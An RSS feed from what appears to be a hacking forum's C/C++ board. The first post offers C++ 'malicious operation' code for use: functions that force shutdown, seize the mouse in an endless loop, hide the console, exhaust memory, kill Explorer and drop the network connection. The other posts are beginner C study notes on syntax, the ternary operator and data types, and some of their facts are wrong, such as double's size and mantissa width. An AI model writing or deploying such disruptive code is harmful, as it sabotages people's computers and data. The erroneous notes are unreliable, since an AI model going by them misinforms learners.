<?xml version="1.0"?>
<rss version="2.0"><channel><title>C,C++,C# Latest Topics</title><link>https://www.hackhat.org/Hackerforum/21.html/</link><description>C,C++,C# Latest Topics</description><language>en</language><item><title>C++&#x8BA1;&#x7B97;&#x673A;&#x57FA;&#x7840;&#x64CD;&#x4F5C;&#x4EE3;&#x7801;&#xFF08;&#x6076;&#x610F;&#xFF09;&#xFF08;1&#xFF09;</title><link>https://www.hackhat.org/Hacker-topic/26783.html/</link><description><![CDATA[<p>在这里，要想明白C++的恶意操作原理，要先会一个代码：system，命令提示符。</p><p>接下来给大家一些使用示范：</p><p>       system("shutdown -s");//关机</p><p>       shutdown(等待秒数,类型(1：关机，2：重启，3：注销))</p><p>       Currur(移动鼠标的次数（1进入死循环）)</p><p>       Hide()   隐藏控制台</p><p>       Icon(x坐标, y坐标, 类型（1：错误图标，2：感叹号图标，3：应用程序图标）)</p><p>      Die()  卡死</p><p>      Shutdown_Go()  打开远程攻击控制台</p><p>      explore()    不可打开资源管理器</p><p>      release()    断开网络</p><p>      Make_Text("文件名字（包括后缀）","内容")   创建文件</p><p>      color(颜色)</p><p>样本是这样的：</p><p>#include &lt;bits/stdc++.h&gt;</p><p>#include &lt;conio.h&gt;</p><p>#include &lt;windows.h&gt;</p><p>using namespace std;</p><p>void Make_Text(string same, string name)</p><p>{</p><p>	//HWND hWnd = GetConsoleWindow(); </p><p>    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); </p><p>		ofstream outfile(same,ios::out); </p><p>	if (!outfile) </p><p>	{  </p><p>		cerr&lt;&lt;"open error"&lt;&lt;endl;  </p><p>	} </p><p>	outfile&lt;&lt;name;</p><p>	outfile.close();	</p><p>}</p><p>//主机的好管理</p><p>void shutdown(int x, int y)</p><p>{</p><p>	Sleep(x * 1000);//等待n秒</p><p>	if(y == 1)</p><p>		system("shutdown -p");//关机</p><p>	if(y == 2)</p><p>		system("shutdown -s -r 0");//重启</p><p>	if(y == 3)</p><p>		system("shutdown -l");//注销</p><p>}</p><p>//鼠标指针的好管理</p><p>void Currur(int q)</p><p>{</p><p>    int x = GetSystemMetrics(SM_CXSCREEN);</p><p>    int y = GetSystemMetrics(SM_CYSCREEN);</p><p>    srand(time(0));</p><p>    if (q == 1)//当q为1时，进入死循环。</p><p>	    while(1)</p><p>	    	SetCursorPos(rand() % x, rand() % y);			</p><p>	else{//乱移鼠标的线程</p><p>	    while(q){</p><p>	    	SetCursorPos(rand() % x, rand() % y);</p><p>	    	q--;</p><p>		}	</p><p>	}</p><p>}</p><p>//控制台的好管理</p><p>void Hide()</p><p>{</p><p>    HWND s;</p><p>	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄</p><p>	if (s) {</p><p>		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口</p><p>		ShowWindow(s, SW_HIDE);//隐藏窗口</p><p>	}	</p><p>}</p><p>//图标的好管理</p><p>void Icon(int x, int y, int n)</p><p>{</p><p>	FreeConsole();</p><p>	HWND hwnd = GetDesktopWindow();</p><p>	HDC hdc = GetWindowDC(hwnd);</p><p>	POINT point;</p><p>	while(1)</p><p>	{</p><p>		GetCursorPos(&amp;point);//锁定鼠标位置</p><p>		if(n == 1)//错误图标</p><p>			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));</p><p>		if(n == 2)//感叹号图标</p><p>			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));</p><p>		if(n == 3)//应用程序图标</p><p>			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	</p><p>	}</p><p>}</p><p>//卡死</p><p>void Die()</p><p>{</p><p>	while(1)</p><p>	{</p><p>		new char;</p><p>		malloc(INT_MAX);</p><p>	}</p><p>}</p><p>//远程攻击</p><p>void Shutdown_Go()</p><p>{</p><p>	system("shutdown /i");</p><p>}</p><p>void color (int a) {</p><p>    if (a <mark data-i-background-color="yellow"> 0 || a </mark> 14 || a == 20) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);</p><p>    } else if (a <mark data-i-background-color="yellow"> 1 || a </mark> 12) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);</p><p>    } else if (a == 2) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_GREEN);</p><p>    } else if (a == 3) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);</p><p>    } else if (a <mark data-i-background-color="yellow"> 4 || a </mark> 11) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_RED);</p><p>    } else if (a <mark data-i-background-color="yellow"> 5 || a </mark> 13) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);</p><p>    } else if (a == 7) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_GREEN|FOREGROUND_BLUE);</p><p>    } else if (a == 15) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);</p><p>    } else if (a == 16) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);</p><p>    } else if (a == 17) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);</p><p>    } else if (a == 8) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);</p><p>    } else if (a == 6) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_BLUE);</p><p>    } else if (a == 9) {</p><p>        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),</p><p>        FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);</p><p>    }</p><p>}</p><p>void explore()//不可打开资源管理器</p><p>{</p><p>	system("taskkill /im explore.exe /f"); </p><p>}</p><p>void release()//断开网络</p><p>{</p><p>	system("ipconfig /release"); </p><p>}</p><p>//以上是部分本人整理网络来源资料所得，非完全原创，也非搬运</p><p></p>]]></description><guid isPermaLink="false">26783</guid><pubDate>Sat, 03 Jan 2026 05:40:32 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x57FA;&#x7840;</title><link>https://www.hackhat.org/Hacker-topic/305.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	必须清楚
</h1>

<p>
	1.程序结构是3种：顺序结构、循环结构（三种循环结构）、选择结构（if和switch）。<br />
	2.读程序都要从main()入口，然后从最上面顺序往下读（碰到循环做循环，碰到选择做选择）。<br />
	3.计算机的数据在电脑中保存是以二进制的形式，数据存放的位置就是它的地址。<br />
	4.bit是位，是指为0或者为1，byte是指字节，一个字节=八个位。<br />
	5.常考概念：<br />
	（1）编译预处理不是c语言的一部分，不占运行时间。C语言编译的程序称为源程序，它以ASCII数值存放在文本文件中。<br />
	（2）每个C语言程序中main函数是有且只有一个。<br />
	（3）在函数中不可以再定义函数，但可以调用函数（嵌套调用、递归调用）。<br />
	（4）算法是一定要有输出的，他可以没有输入。<br />
	（5）break可用于循环结构和switch语句。<br />
	（6）逗号运算符的级别最低。
</p>

<h1>
	<a rel=""></a>第一章
</h1>

<p>
	1.合法的用户标识符考查：<br />
	（1）合法的要求是由字母、数字、下划线组成，有其它元素就错了。<br />
	（2）并且第一个必须为字母或者是下划线，第一个为数字就错了。<br />
	（3）关键字不可以作为用户标识符号。main define scanf printf都不是关键字。<br />
	（4）迷惑你的地方：If是可以作为用户标识符，因为If中的第一个字母大写了，所以不是关键字。<br />
	2.字符数据的合法形式：<br />
	‘1’是字符占一个字节，"1"是字符串占两个字节（含有一个结束符号）。
</p>

<table><thead><tr><th>
				 
			</th>
			<th>
				ASCII数值
			</th>
		</tr></thead><tbody><tr><td>
				‘0’
			</td>
			<td>
				48
			</td>
		</tr><tr><td>
				‘a’
			</td>
			<td>
				97
			</td>
		</tr><tr><td>
				‘A’
			</td>
			<td>
				65
			</td>
		</tr></tbody></table><p>
	3.整型一般是两个字节，字符型是一个字节，双精度一般是四个字节。<br />
	4.转义字符的考查：<br />
	（1）在程序中int a=0x6d，是把一个十六进制的数给变量a，注意这里的0x必须存在。<br />
	（2）在程序中int a=06d，是一个八进制的形式。<br />
	（3）在转义字符中，“\x6d”才是合法的，0不能写，并且x是小写。“、141”是合法的，0是不能写的。“\108”是非法的，因为不可以出现8。<br />
	5.算数运算符的优先级别：<br />
	同级别的有的是从左到右，有的是从右到左。<br />
	6.强制类型转换<br />
	一定是（int）a不是int (a)，注意类型上一定有括号的。注意（int）（a+b）和（int）a+b的区别。前者是把a+b转型，后者是把a转型再+b。<br />
	7.表达式的考查：<br />
	（1）赋值表达式：a=b=5；常量不可以赋值；自加自减表达式，如a=5，++a（是为6），a++（为5）；<br />
	++在前先加后用，++在后先用后加。<br />
	（2）逗号表达式：优先级别最低，表达式的数值逗号最右边的那个表达式的数值。（2,3,4）的表达式的数值就是4。
</p>

<h1>
	<a rel=""></a>第二章
</h1>

<p>
	1.printf函数的格式考查：
</p>

<table><thead><tr><th>
				%d
			</th>
			<th>
				整型
			</th>
		</tr></thead><tbody><tr><td>
				%c
			</td>
			<td>
				字符
			</td>
		</tr><tr><td>
				%f
			</td>
			<td>
				单精度
			</td>
		</tr><tr><td>
				%ld
			</td>
			<td>
				long int
			</td>
		</tr><tr><td>
				%lf
			</td>
			<td>
				double
			</td>
		</tr></tbody></table><p>
	2.scanf函数格式的考查：<br />
	注意该函数的第二个部分是&amp;a这样的地址，不是a；
</p>

<pre><code><span>scanf</span><span>(</span><span>"%d%d%*d%d"</span><span>,&amp;</span><span>a</span><span>,&amp;</span><span>b</span><span>,&amp;</span><span>c</span><span>);</span> <span>//跳过输入的第三个数据</span></code></pre>

<p>
	3.putchar，getchar函数的考查：<br />
	4.实现两个变量x，y中数值互换<br />
	不可以把x=y，y=x；要用中间变量t=x，x=y，y=t。<br />
	5.如何实现保留三位小数，第四位四舍五入的程序。<br />
	注意x=（int）x这样是把小数部分去掉。
</p>

<h1>
	<a rel=""></a>第三章
</h1>

<p>
	1.关系表达式<br />
	（1）表达式的数值只能为1（表示为真）或0（表示假）<br />
	（2）当关系的表达式为真的时候得到1。如9&gt;8这个是真的，所以表达式的数值就是1。<br />
	2.逻辑表达式<br />
	只能为1（表示为真）或0（表示假）<br />
	（1）三种逻辑运算符号：&amp;&amp; || ！<br />
	（2）优先的级别：!&gt;&amp;&amp;&gt; ||<br />
	（3）表示x是比0大，比10小的方法：（0&lt;x）&amp;&amp;(x&lt;10)<br />
	注：0&lt;x&lt;10是错的。<br />
	3.if语句<br />
	else是与最接近的if且没有else的相组合的。<br />
	4.条件表达式：<br />
	表达式1？表达式2 表达式3<br />
	注意是当非0时候是表达式2的数值，当为0时就是表达式3的数值。<br />
	5.switch语句：<br />
	（1）注意有break和没有break的区别，没有break时，只要有一个case匹配了，剩下的都要执行，有break则是直接跳出了switch语句。<br />
	（2）switch只可以和break一起用，不可以和continue用。
</p>

<h1>
	<a rel=""></a>第四章
</h1>

<p>
	1.三种循环结构<br />
	（1）for()：循环中必须是两个分号<br />
	（2）while()<br />
	（3）do while()循环的最后一个while()；的分号一定不能丢<br />
	注意：循环一定要有结束的条件，否则成了死循环。<br />
	2.break和continue的区别<br />
	（1）break：（破了整个循环）退出一层循环；<br />
	（2）continue：（继续循环运算），但是要结束本次循环，就是循环体内剩下的语句不再执行，调到循环开始，然后判断循环条件，进行新一轮的循环。<br />
	3.嵌套循环
</p>

<h1>
	<a rel=""></a>第五章 函数
</h1>

<p>
	函数：具有一定功能的一个程序块。<br />
	1.函数的参数、返回数值
</p>

<pre><code><span>main</span><span>()</span>
<span>{</span>  <span>int</span><span> a</span><span>=</span><span>5</span><span>,</span><span>b</span><span>=</span><span>6</span><span>,</span><span>c</span><span>;</span><span>
   c</span><span>=</span><span>add</span><span>(</span><span>a</span><span>,</span><span>b</span><span>);</span><span>
   printf</span><span>(</span><span>"%d"</span><span>,</span><span>c</span><span>);}</span></code></pre>

<p>
	调用函数a，b是实参，整个函数得到一个数值就是add函数返回数值。<br />
	2.一定要注意参数之间的传递<br />
	实参和形参之间传数值和传地址的差别：传数值的话，形参的变化不会改变实参的变化；传地址的话，形参的变化就会有可能改变地址的变化。<br />
	3.函数声明的考查：<br />
	一定要有：函数名、函数的返回类型、函数的参数类型；<br />
	不一定要有：形参的名称。<br />
	函数声明与函数定义不同：<br />
	函数定义必须有：函数名、函数的返回类型、函数的参数类型、形参的名称。
</p>

<h1>
	<a rel=""></a>第六章 指针
</h1>

<p>
	1.指针变量的本质是用来放地址，而一般的变量是放数值的。<br />
	2.int <em>p中</em>p和p的区别：<br />
	*p可以当做变量来用；*的作用是取后面地址p里面的数值p是当做地址来用的。<br />
	3.*p++和(*p)++之间的区别：<br />
	前者是地址会变化，后者是数值会变化。<br />
	4.三名主义：<br />
	（1）数组名：表示第一个元素的地址。数组名不可以自加，它是地址常量名。<br />
	（2）函数名：表示该函数的入口地址。<br />
	（3）字符串常量名：表示第一个字符的地址。
</p>

<h1>
	<a rel=""></a>第七章 数组
</h1>

<p>
	一维数组<br />
	1.a[10]<br />
	（1）a表示数组名，是第一个元素的地址，也就是a[10]的地址。<br />
	（2）a是地址常量，所以只要出现a++，或者a=a+2赋值的都是错误的。<br />
	（3）a是一维数组名，所以它是列指针，也就是说a+1是跳一列。<br />
	二维数组<br />
	2.a[3][3]<br />
	（1）a表示数组名，是第一个元素的地址，也就是a[10]的地址。<br />
	（2）a是地址常量，所以只要出现a++，或者a=a+2赋值的都是错误的。<br />
	（3）a是二维数组名，所以它是行指针，也就是说a+1是跳一行。<br />
	（4）a[0]、a[1]、a[2]也都是地址常量，不可以对他进行赋值操作，同时它们都是列指针，a[0]+1、a[1]+1、a[2]+1都是跳一列。<br />
	注意：a和a[0]、a[1]、a[2]是不同的，它们的基类型是不同的。前者是一行元素，后三者是一列元素。<br />
	如a3[3][3]={1,2,3,4,5,6,7,8,9}<br />
	（1）<em>(a[0]+1)：第一行的第一个元素往后面跳一列，即为a[0][1]元素，所以是2；<br />
	（2）</em>(a[1]+2)：即为a[1][2]为6。<br />
	二维数组写成以上形式会比较简单。<br />
	3.数组的初始化<br />
	一维的可以不写，二维第二个一定要写。<br />
	例：int a[]={1,2}合法；int a[][4]={2,3,4}合法；int a[4][]={2,3,4}不合法。
</p>

<h1>
	<a rel=""></a>第八章 结构体
</h1>

<p>
	1.什么是结构体？<br />
	结构体是一种工具，用这个工具用户可以定义自己的数据类型。同时，结构体属于一种构造数据类型。<br />
	2.结构体与数组的比较：<br />
	（1）都由多个元素组成；<br />
	（2）各个元素在内存中的存储空间是连续的；<br />
	（3）数组中各个元素的数据类型相同，而结构体中各个元素的数据类型可以不相同。<br />
	3.结构体的定义和使用<br />
	（1）一般形式：
</p>
]]></description><guid isPermaLink="false">305</guid><pubDate>Sat, 15 Oct 2022 21:09:51 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x2014;&#x2014;&#x63A7;&#x5236;&#x8BED;&#x53E5;&#xFF08;&#x4E09;&#x5143;&#x8FD0;&#x7B97;&#x7B26;&#xFF09;</title><link>https://www.hackhat.org/Hacker-topic/312.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	三元运算符格式：
</p>

<pre><span>Exp1</span> <span>?</span> <span>Exp2</span> <span>:</span> <span>Exp3</span><span>;</span></pre>

<p>
	? 表达式的值是由 Exp1 决定的。如果 Exp1 为真，则计算 Exp2 的值，结果即为整个表达式的值。如果 Exp1 为假，则计算 Exp3 的值，结果即为整个表达式的值。
</p>

<p>
	示例代码：
</p>

<pre><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>()</span>
<span>{</span>
    <span>/*三元运算符*/</span>
    <span>int</span><span> num</span><span>;</span><span>
    printf</span><span>(</span><span>"输入一个整数: "</span><span>);</span><span>
    scanf</span><span>(</span><span>"%d"</span><span>,&amp;</span><span>num</span><span>);</span><span>//获取用户输入的信息</span>
    <span>(</span><span>num</span><span>%</span><span>2</span><span>==</span><span>0</span><span>)</span> <span>?</span><span> printf</span><span>(</span><span>"%d是偶数"</span><span>,</span><span>num</span><span>)</span> <span>:</span><span> printf</span><span>(</span><span>"%d是奇数"</span><span>,</span><span>num</span><span>);</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></pre>

<p>
	运行结果：
</p>

<pre><span>输入一个整数:</span> <span>6</span>
<span>6</span><span>是偶数</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	例子：
</p>

<pre><span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>()</span>
<span>{</span>
    <span>int</span><span> A</span><span>=</span><span>10</span><span>;</span>
    <span>int</span><span> B</span><span>=</span><span>20</span><span>;</span>
    <span>char</span><span> buy</span><span>;</span>
    <span>int</span><span> sum</span><span>,</span><span>number</span><span>;</span><span>
    printf</span><span>(</span><span>"商品清单：\n A 商品10元/个 \n B 商品20元/个 \n"</span><span>);</span><span>
    printf</span><span>(</span><span>"请输入要购买的商品(A 或 B):"</span><span>);</span><span>
    scanf</span><span>(</span><span>"%c"</span><span>,&amp;</span><span>buy</span><span>);</span><span>
    printf</span><span>(</span><span>"请输入购买数量："</span><span>);</span><span>
    scanf</span><span>(</span><span>"%d"</span><span>,&amp;</span><span>number</span><span>);</span><span>
    sum</span><span>=((</span><span>buy</span><span>==</span><span>'A'</span><span>)</span> <span>?</span> <span>(</span><span>A</span><span>*</span><span>number</span><span>)</span> <span>:</span> <span>(</span><span>B</span><span>*</span><span>number</span><span>))</span> <span>;</span><span>
    printf</span><span>(</span><span>"\n购买的%d个%c商品共计%d元。\n"</span><span>,</span><span>number</span><span>,</span><span>buy</span><span>,</span><span>sum</span><span>);</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></pre>

<p>
	运行结果：
</p>

<pre><span>商品清单：</span><span>
 A </span><span>商品</span><span>10</span><span>元/个</span><span>
 B </span><span>商品</span><span>20</span><span>元/个</span>
<span>请输入要购买的商品(</span><span>A </span><span>或</span><span> B</span><span>):</span><span>B
</span><span>请输入购买数量：</span><span>2</span>

<span>购买的</span><span>2</span><span>个</span><span>B</span><span>商品共计</span><span>40</span><span>元。</span></pre>
]]></description><guid isPermaLink="false">312</guid><pubDate>Sat, 15 Oct 2022 21:12:53 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x6570;&#x636E;&#x7C7B;&#x578B;&#x3001;&#x8FD0;&#x7B97;&#x7B26;&#x3001;&#x8868;&#x8FBE;&#x5F0F;</title><link>https://www.hackhat.org/Hacker-topic/321.html/</link><description><![CDATA[<p>
	 
</p>

<h2>
	1.变量和常量的定义与使用方法
</h2>

<h3>
	（1）.常量：值不发生变化的量
</h3>

<p>
	字面常量：直接常量（常数）
</p>

<p>
	包括：整型常量&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;12、0
</p>

<p>
	实型常量&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;4.6、1.23
</p>

<p>
	字符常量&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;"a"
</p>

<p>
	 
</p>

<p>
	符号常量：标识符、符号常量
</p>

<p>
	标识符：程序中使用的各种名称（变量名、数组名、函数名、符号常量名)
</p>

<p>
	标识符由字母、数字和下划线组成的一串符号，但是必须以英文字母或下划线开头。不允许使用关键字作为用户 标识符的名称。
</p>

<p>
	c语言的标识符可分为<em><strong>关键字、预定义标识符、用户标识符</strong></em>
</p>

<p>
	关键字&gt;&gt;&gt;c语言规定的具有固定含义的标识符，也称保留字，均为小写字母int、while
</p>

<p>
	预定义标识符&gt;&gt;&gt;在c语言中有特定的含义，如printf、include
</p>

<p>
	用户标识符&gt;&gt;&gt;由用户根据需要定义的标识符，一般用来给变量、函数、数组等命名
</p>

<p>
	符号常量：也称宏常量，由c语言中的宏定义预处理命令来定义
</p>

<p>
	#define 符号常量 常量
</p>

<p>
	习惯上用大写字母作为符号常量的标识符
</p>

<h3>
	（2）.变量：值可以变化的量（先定义、后使用）
</h3>

<p>
	类型标识符 变量名1，变量名2，.....;
</p>

<p>
	在定义变量的同时也可对变量赋初值&gt;&gt;&gt;&gt;&gt;变量的初始化
</p>

<p>
	变量定义语句可放在函数体内的前部，也可放在函数的外部或复合语句的开头
</p>

<h2>
	2.数据类型及其定义方法（基本类型、构造类型、指针类型、空类型）
</h2>

<p>
	基本类型：就是最简单的类型：如int 。char、double等。
</p>

<p>
	构造数据类型：构造数据类型是根据已定义的一个或多个数据类型用构造的方法来定义的。一个构造类型的值可以分解成若干个“成员”或“元素”。每个“成员”都是一
</p>

<p>
	基本数据类型或又是一个构造类型。构造类型有以下几种：结构体、共用同、联合体、类等。
</p>

<p>
	指针类型：指针是一种特殊的，同时又是具有重要作用的数据类型。
</p>

<p>
	空类型：即void类型。
</p>

<h2>
	3.整型、实型、字符型数据的定义、存储、表示范围及运用
</h2>

<h3>
	（1）.整型数据
</h3>

<p>
	定义：整型数据是不包含小数<a href="https://baike.baidu.com/item/%E9%83%A8%E5%88%86" title="部分" rel="external nofollow">部分</a>的<a href="https://baike.baidu.com/item/%E6%95%B0%E5%80%BC%E5%9E%8B%E6%95%B0%E6%8D%AE/6248469" title="数值型数据" rel="external nofollow">数值型数据</a>，用字母I表示。整型数据只用来表示整数，以二进制形式存储。
</p>

<p>
	<img alt="?i=e081ea2b662a4595b569238b8155d234.png?" data-ratio="45.89" height="218" width="475" src="https://www.icode9.com/i/ll/?i=e081ea2b662a4595b569238b8155d234.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_17,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	存储：以补码形式存储
</p>

<p>
	原码、反码、补码：<img alt="?i=1fbf5ce424ae43c183661e3a677af1f4.png?" data-ratio="27.98" height="197" width="704" src="https://www.icode9.com/i/ll/?i=1fbf5ce424ae43c183661e3a677af1f4.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_20,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 <img alt="?i=4cb85fe2984c4a27a208803ff8cc9319.png?" data-ratio="52.87" height="249" width="471" src="https://www.icode9.com/i/ll/?i=4cb85fe2984c4a27a208803ff8cc9319.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_17,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 <img alt="?i=b8495dc91e5c4660ba050475f0d3d878.png?" data-ratio="41.39" height="279" width="674" src="https://www.icode9.com/i/ll/?i=b8495dc91e5c4660ba050475f0d3d878.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_20,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	 
</p>

<h3>
	（2）.实型数据
</h3>

<p>
	定义：实型数据也称为浮点数或实数。在C语言中，实数只采用十进制。它有二种形式：十进制小数形式和指数形式。
</p>

<p>
	（十进制小数形式：必须有小数点
</p>

<p>
	指数形式：尾数（可带符号）、阶码标志e或E、阶码（只能为整数，可带符号）&gt;&gt;&gt;0.5E7）
</p>

<p>
	实型变量分为：单精度（float型）&gt;&gt;&gt;&gt;4个字节、双精度（double型）和长双精度（long double型）&gt;&gt;&gt;&gt;8个字节 三类。
</p>

<p>
	存储形式：float型（32位）
</p>

<table><thead><tr><th>
				 
			</th>
			<th>
				符号位
			</th>
			<th>
				指数
			</th>
			<th>
				尾数
			</th>
		</tr></thead><tbody><tr><td>
				正
			</td>
			<td>
				0
			</td>
			<td>
				指数的二进制
			</td>
			<td>
				23位（不够补0）
			</td>
		</tr><tr><td>
				负
			</td>
			<td>
				1
			</td>
			<td>
				位+127
			</td>
			<td>
				23位（不够补0）
			</td>
		</tr></tbody></table><p>
	double型（64位）
</p>

<table><thead><tr><th>
				 
			</th>
			<th>
				符号位
			</th>
			<th>
				指数
			</th>
			<th>
				尾数
			</th>
		</tr></thead><tbody><tr><td>
				正
			</td>
			<td>
				0
			</td>
			<td>
				指数的二进制
			</td>
			<td>
				55位
			</td>
		</tr><tr><td>
				负
			</td>
			<td>
				1
			</td>
			<td>
				位+127
			</td>
			<td>
				55位
			</td>
		</tr></tbody></table><h3>
	（3）.字符型数据
</h3>

<p>
	定义：字符
</p>

<p>
	字符常量：用单引号括起来的一个字符，如'a'、'w',每个字符常量都占一个字节
</p>

<p>
	只能用单引号括起来，不能用双引号或其他括号
</p>

<p>
	字符常量是单个字符，对大小写敏感，空格也是一个字符
</p>

<p>
	（区别于字符串："a"、"ac"由双引号括起来)
</p>

<p>
	转义字符：
</p>

<p>
	 <img alt="?i=6da100113cdb4be7baa7737be9f2e8a6.png?" data-ratio="114.57" height="409" width="357" src="https://www.icode9.com/i/ll/?i=6da100113cdb4be7baa7737be9f2e8a6.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_13,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 
</p>

<p>
	字符串常量：由一对双引号括起来的字符序列，如"china"
</p>

<p>
	字符串常量的内存字节数等于字符串中字符数+1，增加的一个字节是由系统自动存入的字符'\0'，作为字符串结束的标志
</p>

<p>
	字符变量：用于存放单个字符变量，使用关键字char来定义
</p>

<p>
	char optr；
</p>

<h2>
	4.变量赋初值
</h2>

<p>
	类型说明符 变量1= 值1, 变量2= 值2, ……;
</p>

<h2>
	5.不同类型数据间的转换与运算
</h2>

<h3>
	（1）.算术转换
</h3>

<p>
	当自动转换用于算术运算时&gt;&gt;&gt;&gt;算术转换
</p>

<p>
	转换原则：自动将精度低、表示范围小的运算对象类型向精度高、表示范围大的运算对象类型转换
</p>

<p>
	char、short&gt;&gt;&gt;&gt;int&gt;&gt;&gt;&gt;unsigned int&gt;&gt;&gt;&gt;long&gt;&gt;&gt;&gt;unsigned long&gt;&gt;&gt;&gt;float&gt;&gt;&gt;&gt;double
</p>

<h3>
	（2）.赋值转换
</h3>

<p>
	在赋值运算中，只有在赋值号右侧表达式的类型与左侧类型完全一样时，才能进行赋值转换（赋值号右边的值不能超过左边变量的数值范围）
</p>

<h2>
	6.算术运算符、赋值运算符、逗号运算符及其表达式的运用
</h2>

<h3>
	（1）.算术运算符
</h3>

<p>
	基本算术运算符：+、-、*、/（加减乘除）、%（求余）
</p>

<p>
	【+、- &gt;&gt;&gt;&gt;&gt;作单目运算符时表正负号 &gt;&gt;&gt;&gt;&gt;作双目运算符时表加减
</p>

<p>
	% &gt;&gt;&gt;&gt;&gt;运算符两边必须为整型，且所得结果的符号和被除数相同】
</p>

<p>
	算术运算符的优先级：圆括号优先级最高&gt;&gt;&gt;单目运算符&gt;&gt;&gt;双目运算符
</p>

<table><thead><tr><th>
				对象数
			</th>
			<th>
				优先级
			</th>
			<th>
				名称
			</th>
			<th>
				运算符
			</th>
			<th>
				运算规则
			</th>
			<th>
				运算对象
			</th>
			<th>
				结合性
			</th>
		</tr></thead><tbody><tr><td>
				圆括号
			</td>
			<td>
				1
			</td>
			<td>
				圆括号
			</td>
			<td>
				（）
			</td>
			<td>
				括号里优先计算
			</td>
			<td>
				整型或实型
			</td>
			<td>
				 
			</td>
		</tr><tr><td>
				单目
			</td>
			<td>
				2
			</td>
			<td>
				正
			</td>
			<td>
				+
			</td>
			<td>
				取原值
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自右向左
			</td>
		</tr><tr><td>
				单目
			</td>
			<td>
				2
			</td>
			<td>
				负
			</td>
			<td>
				-
			</td>
			<td>
				取负值
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自右向左
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				3
			</td>
			<td>
				乘
			</td>
			<td>
				*
			</td>
			<td>
				乘
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自左向右
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				3
			</td>
			<td>
				除
			</td>
			<td>
				/
			</td>
			<td>
				除
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自左向右
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				3
			</td>
			<td>
				模
			</td>
			<td>
				%
			</td>
			<td>
				整数取余
			</td>
			<td>
				整型
			</td>
			<td>
				自左向右
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				4
			</td>
			<td>
				加
			</td>
			<td>
				+
			</td>
			<td>
				加
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自左向右
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				4
			</td>
			<td>
				减
			</td>
			<td>
				-
			</td>
			<td>
				减
			</td>
			<td>
				整型或实型
			</td>
			<td>
				自左向右
			</td>
